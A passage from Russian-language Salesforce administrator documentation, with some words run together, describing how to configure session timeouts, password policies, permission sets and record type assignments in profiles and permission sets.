4. Чтобывключитьнастраиваемыеполномочия, выберитенужныеполномочиявсписке
«Доступные настраиваемые полномочия» и нажмите кнопку «Добавить». Чтобы
удалить настраиваемые полномочия из профиля, выберите нужные полномочия в
списке «Включенные настраиваемые полномочия» и нажмите кнопку «Удалить».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настраиваемые полномочия
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Просмотр и редактирование параметров времени ожидания сеанса в профилях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров сеанса и пароля
в профилях:
• «Управление

профилями и наборами
полномочий»

Используйтепараметрысеанса, чтобынастроитьколичествоминутиличасовотсутствия
активности перед наступлением таймаута пользовательского сеанса. По завершении
сеанса пользователь должен выполнить повторный вход.

До тех пор пока вы не установите значение параметра Таймаут сеанса по истечении
дляпрофиля, Значение таймаута впараметрах сеансаорганизацииприменяется ко всем
пользователям этого профиля. Когда это значение установлено, значение Таймаут
сеанса по истечении для профиля переопределяет Значение таймаута организации в
пределах этогопрофиля. Изменения, внесенныев единыйпараметр «Значение времени
ожидания», неприменяютсякпользователямпрофиля, поддерживающегособственный
Таймаут сеанса по истечении.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Выберите нужный профиль.

3. В зависимости от используемого типа пользовательского интерфейса выполните
одно из указанных ниже действий.

• Расширенный пользовательский интерфейс профиля: щелкните ссылку
«Параметры сеанса» и нажмите кнопку «Правка».

• Исходный пользовательский интерфейс профиля: нажмите кнопку «Правка»
и прокрутите страницу до раздела «Параметры сеанса».

4. Выберите нужное значение времени ожидания из раскрывающегося списка.

5. Нажмите кнопку «Сохранить».
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Просмотр и редактирование политик паролей в профилях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров сеанса и пароля
в профилях:
• «Управление

профилями и наборами
полномочий»

Для настройки политик
паролей:
• «Управление

политиками паролей»

Параметры политик паролей определяют требования, предъявляемые к паролям, и
используютсядляобеспечениятребуемогоуровнябезопасностипользователей, которым
назначен профиль. Политики использования паролей для профиля переопределяют
настройки политики паролей всей организации для пользователей, назначенных для
этогопрофиля. Еслиненастроитьполитикииспользованияпаролейдля тогоилииного
профиля, будут применяться политики использования паролей в масштабе всей
организации. Новые политики использования паролей для профиля применяются для
существующих пользователей профиля при сбросе ими пароля.

Изменения, внесенные в единые политики паролей, не применяются к пользователям
профиля, поддерживающего собственные политики паролей.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Выберите нужный профиль.

3. В зависимости от используемого типа пользовательского интерфейса выполните
одно из указанных ниже действий.

• Расширенный пользовательский интерфейс профиля: щелкните ссылку
«Политики паролей» и нажмите кнопку «Правка».

• Исходный пользовательский интерфейс профиля: нажмите кнопку «Правка»
и прокрутите страницу до раздела «Политики паролей».

4. Измените значения для текущего профиля.

Прим.: При изменении параметра Срок действия паролей пользователей
истекает: это изменение отражается на дате окончания срока действия пароля
пользователя, если новая дата окончания срока действия пароля пользователя
наступает раньше старой даты окончания срока действия пароля либо при
отключении срока действия путем выбора параметра Бессрочно.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Поля политик паролей в профиле

Поля политик паролей в профиле
Требованиякпароляммогутбыть заданывпараметрахполитикпаролей. Ознакомьтесьсприведенныминижеописаниями
полей, чтобы понять, как они влияют на настройки паролей в профиле.

Изменения, внесенные в единые политики паролей, не применяются к пользователям профиля, поддерживающего
собственные политики паролей.

ОписаниеПоле

Периодвремени, втечениекоторогоистекаетсрокдействия
паролей пользователей. Пароли должны быть

Срок действия паролей пользователей истекает:

изменены.Значение по умолчанию: 90 дней. Данный
параметрнедоступендляпорталов самообслуживания.Эта
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настройка неприменима к пользователям с полномочием
«Срок действия пароля неограничен».

При изменении параметра Срок действия паролей
пользователей истекает: этоизменениеотражаетсянадате
окончания срока действияпароляпользователя, еслиновая
дата окончания срока действия пароля пользователя
наступает раньше старой даты окончания срока действия
паролялибоприотключениисрокадействияпутемвыбора
параметра Бессрочно.

Сохранение предыдущих паролей пользователей с целью
использования исключительно новых и уникальных

Вести журнал паролей

паролей. Журналпаролей сохраняется толькопри выборе
данного параметра. Значение по умолчанию: «Сохранено
паролей: 3». Значение «Пароли не сохранены» может
быть выбрано только в том случае, если поле «Срок
действия паролей пользователей истекает:» содержит
значение «Бессрочно». Данный параметр недоступен для
порталов самообслуживания.

Минимальное количество символов в пароле. Данный
параметрвступаетвсилутолькоприследующемизменении
текущихпаролей. Значениепоумолчанию: «8 символов».

Минимальная длина пароля

Определение символов, которые должны использоваться
в пароле пользователя.

Уровни сложности:

Требование к сложности пароля

• «Без ограничений»: любое значение пароля; самый
ненадежный уровень.

• «Должен содержать буквы и цифры»: требуетналичия
как минимум одной буквы и одной цифры, это
настройка по умолчанию.

• «Должен содержать буквы, цифры и специальные
символы»: требует наличия как минимум одной буквы,
одной цифры и одного из следующих символов: ! #
$ % - _ = + < >.

• «Должен содержать цифры, строчные и прописные
буквы»: требует наличия как минимум одной цифры,
одной строчной буквы и одной прописной буквы.

• «Должен содержать цифры, строчные и прописные
буквы и специальные символы»: требует наличия как
минимумоднойцифры, одной строчнойбуквы, одной
прописной буквы и одного из следующих символов: !
# $ % - _ = + < >.
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Допустимые значения: «Не может содержать пароль»
(ответнаконтрольныйвопроснеможетсодержатьпароля)

Требование к контрольному вопросу

и «Нет», выбранное по умолчанию (любой ответ).
Пользовательдолженуказатьответнаконтрольныйвопрос.
Данный параметр недоступен для порталов
самообслуживания, клиентскихилипартнерскихпорталов.

Максимально допустимое количество попыток входа до
блокировки пользователя. Данный параметр недоступен
для порталов самообслуживания.

Максимальное количество недопустимых попыток входа

Продолжительностьблокировки.Поумолчанию: 15 минут.
Данный параметр недоступен для порталов
самообслуживания.

Срок действия блокировки

Прим.: Если учетная запись пользователя
заблокирована, рекомендуем дождаться окончания
блокировки. В ином случае учетную запись может
разблокировать пользователь с полномочиями
«Восстановление паролей и разблокировка
пользователей», выполнив следующую процедуру
из меню «Настройка».

1. Введите строку «Пользователи» вполе «Быстрый
поиск».

2. Выберите «Пользователи».

3. Выберите нужного пользователя.

4. Щелкните кнопку «Разблокировать».

Данная кнопка отображается только для
заблокированного пользователя.

Данная функция позволяет скрывать вводимые ответы на
контрольные вопросы. Настройка по умолчанию
отображает ответ в виде простого текста.

Неясный ответ на секретный вопрос для сброса пароля

Прим.: Если организация использует редактор
метода ввода Microsoft в режиме ввода Hiragana, то
вводимые символы ASCII заменяются японскими
символами в полях обычного текста. Тем не менее,
поля со скрытым текстом могут обрабатываться
редактором метода ввода некорректно. Если данная
функция препятствует правильному вводу паролей
пользователей или других значений, рекомендуем
ее отключить.
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При выборе этого параметра пароль нельзя менять чаще,
чем каждые 24 часа.

Требовать срок действия пароля не менее 1 дня

СМ. ТАКЖЕ:

Просмотр и редактирование политик паролей в профилях

Наборы полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional
Edition, Group Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

Дополнительные наборы
разрешений доступны при
дополнительной оплате в
выпуске Professional
Edition.

Набор полномочий — это совокупность параметров и полномочий, которая
предоставляетпользователямдоступкразличныминструментамифункциям. Параметры
и полномочия, доступные в наборах полномочий, также доступны в профилях, однако
наборы полномочий позволяют расширить функциональный доступ пользователей
без изменения их профилей.

Пользователимогутобладать толькооднимпрофилем, однаков зависимостиот выпуска
Salesforce у них может быть несколько наборов разрешений. При необходимости
назначьте наборы полномочий разным типам пользователей, независимо от их
профилей.

Прим.: В версиях Contact Manager Edition, Group Edition и Professional Edition можно
создать один набор полномочий.

Полномочие, выключенноевпрофиле, новключенноевнабореполномочий, доступно
пользователям, имеющим данный профиль и набор полномочий. Например,
полномочие «Управлениеполитикамипаролей», выключенноевпрофилепользователя,
новключенноеводномиз егонаборовполномочий, позволяетпользователюуправлять
политиками паролей.

Рекомендуемиспользоватьнаборыполномочийдляпредоставлениядоступалогическим
группам пользователей, независимо от их основных рабочих функций. Например,
организация использует настраиваемый объект «Инвентарь». Данный объект должен
быть доступен большинству пользователей для чтения и небольшому количеству пользователей для редактирования.
Создайте набор полномочий, предоставляющий доступ для чтения, и назначьте его соответствующим пользователям.
Затем рекомендуем создать другой набор полномочий, предоставляющий доступ для редактирования, и назначить его
небольшой группе пользователей.

Просмотреть обзор: создание, редактирование и назначение набора полномочий

Просмотреть обзор: создание, назначение и добавление набора полномочий в Lightning Experience

СМ. ТАКЖЕ:

Редактирование наборов полномочий в списковом представлении

Назначение наборов полномочий отдельному пользователю

Рекомендации по использованию наборов полномочий
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Создание наборов полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания наборов
полномочий:
• «Управление

профилями и наборами
полномочий»

При необходимости клонируйте набор полномочий или создайте новый.
Клонированныйнаборполномочийиспользуетлицензиюпользователяивключенные
полномочияизисходногонабораполномочий. Новыйнаборполномочийдобавляется
без лицензии пользователя и включенных полномочий.

Просмотретьобзор: создание, редактированиеиназначениенабораполномочий

Лицензии пользователя в наборах полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

Созданному набору полномочий может быть назначена конкретная лицензия
пользователя или значение «--Нет--».

При выборе конкретной лицензии выберите лицензию пользователей, которым
предназначаетсяданныйнаборполномочий. Например, чтобыназначитьданныйнабор
полномочий пользователям с лицензией Salesforce, выберите значение «Salesforce».

Чтобы назначить данный набор полномочий нескольким пользователям с разными
лицензиями, выберите значение «--Нет--», которомуне соответствуетниодналицензия.
Данное значение позволяет назначить набор полномочий любым пользователям,
лицензиикоторыхподдерживаютвключенныеполномочия. Например, чтобыназначить
наборполномочийпользователямслицензиями Salesforceи Salesforce Platform, выберите
значение «--Нет--».

Прим.:

• Наборы полномочий без лицензии пользователя содержат только некоторые
возможные полномочия и параметры.

• Наборполномочийбез лицензииможетбытьназначентолькопользователям,
лицензии которых поддерживают включенные полномочия и параметры.
Например, наборполномочийбезлицензии, содержащийполномочие «Автор
Apex», не может быть назначен пользователям с лицензией Salesforce Platform,
так как данная лицензия не поддерживает включенное полномочие.
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Рекомендации по использованию наборов полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

Ниже перечислены рекомендации и особые алгоритмы для наборов полномочий.

Различия между новыми и клонированными наборами полномочий
Новый набор полномочий добавляется без лицензии пользователя и включенных
полномочий. Клонированныйнаборполномочийиспользуетлицензиюпользователя
и включенные полномочия из исходного набора полномочий. Клонированный
набор полномочий не позволяет изменять лицензию пользователя. Рекомендуем
клонировать набор полномочий только для предоставления новому набору
полномочий такой же лицензии пользователя.

Ограничения
В версиях Enterprise Edition, Performance Edition, Unlimited Edition, Developer Edition и
Database.com Edition можно создать до 1 000 наборов полномочий. В версиях Contact
Manager Edition, Group Edition и Professional Edition можно создать один набор
полномочий.

Вверсиях Group Edition, Professional Edition, Enterprise Edition, Performance Edition, Unlimited
Edition, Developer Edition и Database.com Edition организация может создать большее
число наборов полномочий, если она добавлена в рамках установленного
управляемого пакета, включенного в общедоступные списки AppExchange. В этом случае можно создать до 1 500
наборов полномочий.

Ограничения лицензии пользователя
Некоторые лицензии пользователя ограничивают количество доступных настраиваемых приложений или вкладок.
Принеобходимостиназначьтетолькопредоставленноеколичествопосредствомназначенногопрофиляпользователя
и наборов полномочий. Например, пользователь с лицензией Force.com App Subscription и доступом к одному
приложению Force.com Light может просматривать только настраиваемые вкладки данного приложения.

Назначенные приложения
Параметры назначенного приложения определяют приложения, доступные пользователям в меню приложений
Force.com. В отличие от профилей, наборы полномочий не позволяют назначать стандартные приложения.
Пользователи могут определять только их доступность.

Доступ к классу Apex
Пользователь может задать методы класса Apex верхнего уровня, которые должны быть доступны для выполнения в
наборе полномочий. Параметры доступа к классу Apex применяются только к:

• Методы класса Apex (например, методы веб-службы)

• Любойметод, используемыйнастраиваемымконтроллеромVisualforceилирасширениемконтроллера, добавленным
на страницу Visualforce

Триггеры всегда запускаются событиями триггера (например, insert или update), независимо от параметров
полномочий.

СМ. ТАКЖЕ:

Как определяется доступ к типу записи?

Лицензии пользователя в наборах полномочий

Полномочия объекта
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Использование списков наборов полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра наборов
полномочий и печати
списков наборов
полномочий:
• «Просмотр настройки и

конфигурации»

Для удаления наборов
полномочий и списковых
представлений наборов
полномочий:
• «Управление

профилями и наборами
полномочий»

Дляпросмотранаборовполномочийворганизациивведитестроку «Наборы полномочий»
вполе «Быстрый поиск» вменю «Настройка», затемвыберите«Наборыполномочий».
Нижеперечисленыдействия, доступныена странице со спискомнаборовполномочий.

• Просмотр отфильтрованного списка наборов полномочий путем выбора нужного
представления в раскрывающемся списке

• Создание спискового представления или редактирование текущего представления

• Удаление выбранного спискового представления посредством ссылки «Удалить»

• Создание набора полномочий посредством кнопки «Создать»

• Печать спискового представления посредством значка

•
Обновление спискового представления посредством значка

• Редактирование полномочий в списковом представлении

• Просмотр или редактирование набора полномочий путем выбора его имени

• Удаление набора полномочий, которому не назначены пользователи, посредством
ссылки «Удал.»

СМ. ТАКЖЕ:

Наборы полномочий
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Создание и редактирование списковых представлений наборов полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
списковых представлений
наборов полномочий:
• «Управление

профилями и наборами
полномочий»

Пользователь может создавать и редактировать списковые представления наборов
полномочий для просмотра списка наборов полномочий, содержащих определенные
поля и полномочия. Например, пользователь может создать списковое представление
всех наборов полномочий, содержащих полномочие «Изменение всех данных».

1. Щелкните ссылку «Создать новое представление» на странице «Наборы
полномочий» или выберите нужное представление и щелкните ссылку «Правка».

2. Введите имя представления.

3. Введите условия, которым должны соответствовать выбранные элементы списка, в
разделе «Определениекритериевфильтрации» (например, «"Изменение всех данных"
равно "Истина"»).

a. Чтобы выбрать нужный параметр, введите его имя илищелкните значок .

b. Выберите оператор фильтрации.

c. Введите нужное значение.

Совет: Чтобы просмотреть только наборы полномочий без лицензии
пользователя, введите значение «Лицензия пользователя» вполе «Параметр»,
выберите оператор «равно» и введите символы "" в поле «Значение».

d. Чтобы задать другое условие фильтра, щелкните ссылку «Добавить строку».
Разрешается задавать не более 25 условий фильтра.

4. Выберите параметры, которые должны отображаться в списковом представлении в
виде столбцов, вразделе «Выборстолбцовдляотображения». Разрешается добавлять
не более 15 столбцов.

a. Выберите тип параметра в раскрывающемся списке «Поиск».

b. Введите первые буквы нужного параметра и нажмите кнопку «Найти».

Прим.: Если поиск возвращает более 500 значений, то результаты не отображаются. Чтобы сократить
количество результатов, уточните критерии поиска.

5. Нажмитекнопку «Сохранить». Чтобысохранитьклонированноепредставление, введитеновоеимяинажмитекнопку
«Сохранить как».

СМ. ТАКЖЕ:

Редактирование наборов полномочий в списковом представлении

Создание настраиваемых списковых представлений в Salesforce Classic
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Редактирование наборов полномочий в списковом представлении

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного
редактирования наборов
полномочий в списковом
представлении:
• «Управление

профилями и наборами
полномочий»

Пользователь может изменить полномочия не более 200 наборов полномочий прямо
в списковом представлении без открытия отдельного набора полномочий.

Прим.: Рекомендуем проявлять внимательность при редактировании наборов
полномочийданнымметодом. Пакетныеизменениямогут влиятьнапользователей
организации.

1. Выберите или создайте списковое представление, содержащее нужные наборы
полномочий и полномочия.

2. Чтобы изменить несколько наборов полномочий, установите флажок напротив
каждого нужного набора. При выборе наборов полномочий на разных страницах
система Salesforce запоминает выбранные наборы полномочий.

3. Дваждыщелкните нужное полномочие. При пакетном редактировании наборов
полномочий дваждыщелкните нужное полномочие в любом выбранном наборе.

4. Включите или отключите полномочие во всплывающем диалоговом окне. Иногда
изменение одного полномочия инициирует изменение других полномочий.
Например, еслинаборполномочийсодержитвключенныеполномочия «Управление
обращениями» и «Перенос обращений», то отключение полномочия «Перенос
обращений» инициирует отключение полномочия «Управление обращениями». В
этом случае диалоговое окно содержит список измененных полномочий.

5. Чтобы изменить несколько наборов полномочий, выберите «Все n выбранных
записей» (где n — это количество выбранных наборов полномочий).

6. Нажмите кнопку «Сохранить».

Пакетное редактированиенаборов полномочийизменяет только наборыполномочий,
поддерживающиередактируемоеполномочие. Например, привключенииполномочия
«Изменение всех данных» посредством функции встроенного редактирования в
10 наборах полномочий, но отсутствии полномочия «Изменение всех данных» в одном
наборе полномочий, полномочие «Изменение всех данных» включается во всех наборах полномочий, кроме одного
набора без полномочия «Изменение всех данных».

Все изменения регистрируются контрольным журналом настройки.
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Страница общих сведений о наборе полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления наборов
полномочий и
редактирования свойств
набора полномочий:
• «Управление

профилями и наборами
полномочий»

Страница общих сведений о наборе полномочий предоставляет доступ ко всем
полномочиям набора. Чтобы открыть страницу с общими сведениями о наборе
полномочий, введите «Наборы полномочий» в поле «Быстрый поиск» в меню
«Настройка», выберите пункт «Наборы полномочий», затем выберите нужный набор
полномочий.

Просмотретьобзор: создание, редактированиеиназначениенабораполномочий

Общие сведения о параметрах системы и приложения в наборах полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

Полномочия и параметры, доступные в наборах полномочий, объединены в категории
«Приложения» и «Система», которые отображают разрешения пользователей,
необходимые для управления и использования данных ресурсов.

Параметры приложения

Приложение — это набор вкладок, который может быть выбран в раскрывающемся
меню верхнего колонтитула. Все основные объекты, компоненты, данные и
конфигурации отображаются всегда — независимо от выбранного приложения.
Благодаря выбору нужного приложения, пользователю доступен набор тех вкладок,
которые необходимы для эффективного использования основных функций данного
приложения. Например, основная часть работы выполняется посредствомприложения
Sales, содержащеговкладки «Организации» и «Возможности». Чтобыпросмотретьновые
маркетинговые кампании и их участников, пользователь может выбрать приложение
Marketing враскрывающемсяменюприложений (вместодобавлениявкладки «Кампании»
в приложение Sales).

Раздел «Приложения» на странице общих сведений о наборе полномочий содержит
параметры, связанные с бизнес-процессами приложений. Например, чтобы разрешить агентам службы поддержки
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управлениеобращениями, рекомендуемустановитьфлажок «Управлениеобращениями» вразделе Call Center на странице
«Полномочия приложения». Некоторые параметры приложения не связаны с полномочиями приложения. Например,
чтобы включить приложение Time-Off Manager, установленное из каталога AppExchange, пользователи должны получить
доступ к соответствующим классам Apex и страницам Visualforce, а также полномочия поля и объекта, позволяющие
создавать запросы на утверждение отгулов.

Параметры системы

Некоторые системные функции применяются к организации, а не отдельному приложению. Например, полномочие
«Просмотрнастройкииконфигурации» предоставляетпользователямправонапросмотрстраниц, содержащихпараметры
настройки и управления. Остальные системные функции применяются ко всем приложениям. Например, полномочия
«Запуск отчетов» и «Управление панелями мониторинга» позволяют менеджерам создавать отчеты и управлять ими во
всех приложениях. Некоторые полномочия (например, «Изменение всех данных») применяются ко всем приложениям
и поддерживают функции, которые не связаны с приложениями (например, загрузка приложения Data Loader).

Поиск наборов полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска наборов
полномочий:
• «Просмотр настройки и

конфигурации»

При необходимости введите критерии поиска на любой странице сведений о наборе
полномочий для быстрого перехода к другим страницам набора полномочий.

Введите не менее трех последовательных букв из имени нужного объекта, параметра

или полномочия в поле «Поиск параметров…» на странице сведений о любом
наборе полномочий. Критерии поиска не чувствительны к регистру. По мере ввода
отображается список элементов, соответствующихзаданному критериюпоиска. Чтобы
открыть соответствующую страницу параметров, щелкните имя нужного элемента в
списке.

Некоторые категории поддерживают поиск по имени конкретного полномочия или
параметра. Другие категории поддерживают поиск по имени категории.

ПримерПоискЭлемент

Введите критерий продажи в поле «Поиск
параметров…» ивыберите элементсписка
«Продажи».

Имя приложенияНазначенные
приложения

Например, чтобы найти настраиваемый
объект «Альбомы», введите критерий альб
и выберите элемент списка «Альбомы».

Имя объектаОбъекты

Например, объект «Альбомы» содержит
поле «Описание». Чтобы найти поле
«Описание» для объекта «Альбомы»,
введите критерий альб, выберите элемент

Имя родительского
объекта

• Поля

• Типы записей

списка «Альбомы» ипрокрутитестраницу
до поля «Описание» в разделе
«Полномочия поля».

Введитекритерий отч ивыберите элемент
списка «Отчеты».

Имя вкладки или
родительского
объекта

Вкладки
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ПримерПоискЭлемент

Введите критерий api и выберите элемент списка «API
включен».

Имя полномочияПолномочия приложения и
системы

Чтобы найти параметры доступа к классу Apex, введите
критерий apex и выберите элемент списка «Доступ к

Имя категорииВсе другие категории

классу Apex». Чтобы найти настраиваемые полномочия,
введите критерий наст и выберите элемент списка
«Настраиваемые полномочия». И т. д.

Если результаты поиска не отображаются, выполните указанные ниже действия.

• Убедитесь, что поисковый запрос содержит не менее трех последовательных символов из имени нужного объекта,
параметра или полномочия.

• Убедитесь, что поисковый запрос введен без ошибок.

• Искомое полномочие, объект или параметр может быть недоступен в текущей организации.

• Искомый элемент может быть недоступен для лицензии пользователя, связанной с текущим набором полномочий.
Например, наборполномочий, которомуназначеналицензия «Стандартныйпользовательплатформы», несодержит
полномочия «Изменение всех данных».

СМ. ТАКЖЕ:

Наборы полномочий
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Просмотр и редактирование назначенных приложений в наборах полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров назначенного
приложения:
• «Управление

профилями и наборами
полномочий»

Параметры назначенного приложения определяют приложения, доступные
пользователям в меню приложений Force.com.

В отличие от профилей, наборы полномочий не позволяют назначать стандартные
приложения. Пользователи могут определять только их доступность.

Чтобы назначить приложения, выполните указанные ниже действия.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Выберите или создайте набор полномочий.

3. Щелкните ссылку «Назначенные приложения» на странице общих сведений о
наборе полномочий.

4. Нажмите кнопку «Правка».

5. Чтобы назначить приложения, выберите нужные приложения в списке «Доступные
приложения» инажмитекнопку «Добавить». Чтобыудалитьприложенияизнабора
полномочий, выберите нужные приложения в списке «Включенные приложения»
и нажмите кнопку «Удалить».

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Наборы полномочий

Назначение настраиваемых типов записей в наборах полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения типов
записей в наборах
полномочий:
• «Управление

профилями и наборами
полномочий»

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Выберите или создайте набор полномочий.

3. Щелкните ссылку «Параметры объекта» на странице общих сведений о наборе
полномочий и выберите нужный объект.

4. Нажмите кнопку «Правка».

5. Выберите нужные типы записей.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Как определяется доступ к типу записи?
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Как определяется доступ к типу записи?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Типы записей могут быть назначены пользователям посредством профилей и/или
наборов полномочий. Назначение типа записи выполняется в профилях и наборах
полномочий по-разному.

• Стандартный тип записи пользователя задается в личных параметрах. Стандартный
тип записи не может быть задан в наборах полномочий.

• При необходимости назначьте тип записи «--Основной--» в профилях. Наборы
полномочий позволяют назначать только настраиваемые типы записей. Алгоритм
создания записиопределяется типамизаписей, назначаемымивпрофиляхинаборах
полномочий.

Действия при создании
записи

Общее количество
настраиваемых типов
записей в наборах
полномочий

Тип записи, выбранный
в профиле пользователя

Новая запись связывается
сосновнымтипомзаписи.

Нет--Основной--

Новая запись связывается
с настраиваемым типом

1--Основной--

записи. Пользователи не
могут выбирать основной
тип записи.

Пользователям
предлагается выбрать тип
записи.

Много--Основной--

Пользователям
предлагается выбрать тип

1 или многоНастраиваемый

записи. Возможность
использования
стандартного типа записи
и отмены запроса на
выбор типа записи не
поддерживается личными
параметрами
пользователей.

• Назначения макетов страниц задаются только в профилях, так как отсутствуют в наборах полномочий. Набор
полномочий, определяющий настраиваемый тип записи, предоставляет доступ к назначению макета страницы,
заданному для данного типа записи в профилях пользователей. (Назначения макета страницы задаются для каждого
типа записи в профилях.)

• Стандартный тип записи, заданный в профиле пользователя, назначается преобразованным записям интересов.

• Пользователи могут просматривать записи, назначенные любому типу записи. Как результат, макет страницы
назначается каждому типу записи в профиле пользователя. Назначение типа записи в профиле пользователя или
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набореполномочийнеопределяет доступность записиданного типа. Наоборот, назначение типа записиопределяет
доступность данного типа при создании или редактировании записи.

• Пакеты и наборы изменений не поддерживают типы записей, заданные посредством наборов полномочий. Как
результат, любой тип записи, назначенный посредством наборов полномочий в безопасной организации, должен
быть вручную воспроизведен в производственной организации.

СМ. ТАКЖЕ:

Назначение типов записей и макетов страниц в расширенном пользовательском интерфейсе профиля

Назначение типов записей профилям в исходном пользовательском интерфейсе профиля

Назначение настраиваемых типов записей в наборах полномочий

Назначение макетов страниц в исходном пользовательском интерфейсе профиля

Включение настраиваемых полномочий в наборах полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Для организаций,
использующих Group
Edition и Professional
Edition, нельзя создавать или
редактировать
настраиваемыеполномочия,
но можно установить их как
часть управляемого пакета.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
настраиваемыхполномочий
в наборах полномочий:
• «Управление

профилями и наборами
полномочий»

Настраиваемыеполномочияпозволяютпредоставлятьдоступкнастраиваемымпроцессам
или приложениям. Созданное настраиваемое полномочие, связанное с процессом или
приложением, может быть включено в наборах полномочий.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Выберите или создайте набор полномочий.

3. Щелкните ссылку «Настраиваемые полномочия» на странице общих сведений о
наборе полномочий.

4. Нажмите кнопку «Правка».

5. Чтобывключитьнастраиваемыеполномочия, выберитенужныеполномочиявсписке
«Доступные настраиваемые полномочия» и нажмите кнопку «Добавить». Чтобы
удалить настраиваемые полномочия из набора полномочий, выберите нужные
полномочия в списке «Включенныенастраиваемыеполномочия» инажмите кнопку
«Удалить».

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настраиваемые полномочия
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Управление назначениями набора полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Additional permission sets
available for an extra cost in
Professional Edition

Страницасведенийопользователепозволяетназначатьнаборыполномочийотдельному
пользователю, тогда как страница сведений о наборе полномочийпозволяет назначать
набор полномочий нескольким пользователям.

• Назначение наборов полномочий отдельному пользователю

• Пакетное назначение набора полномочий пользователям

• Удаление назначений пользователя из набора полномочий

Страница «Назначенные пользователи» набора полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Professional,
Group, Enterprise,
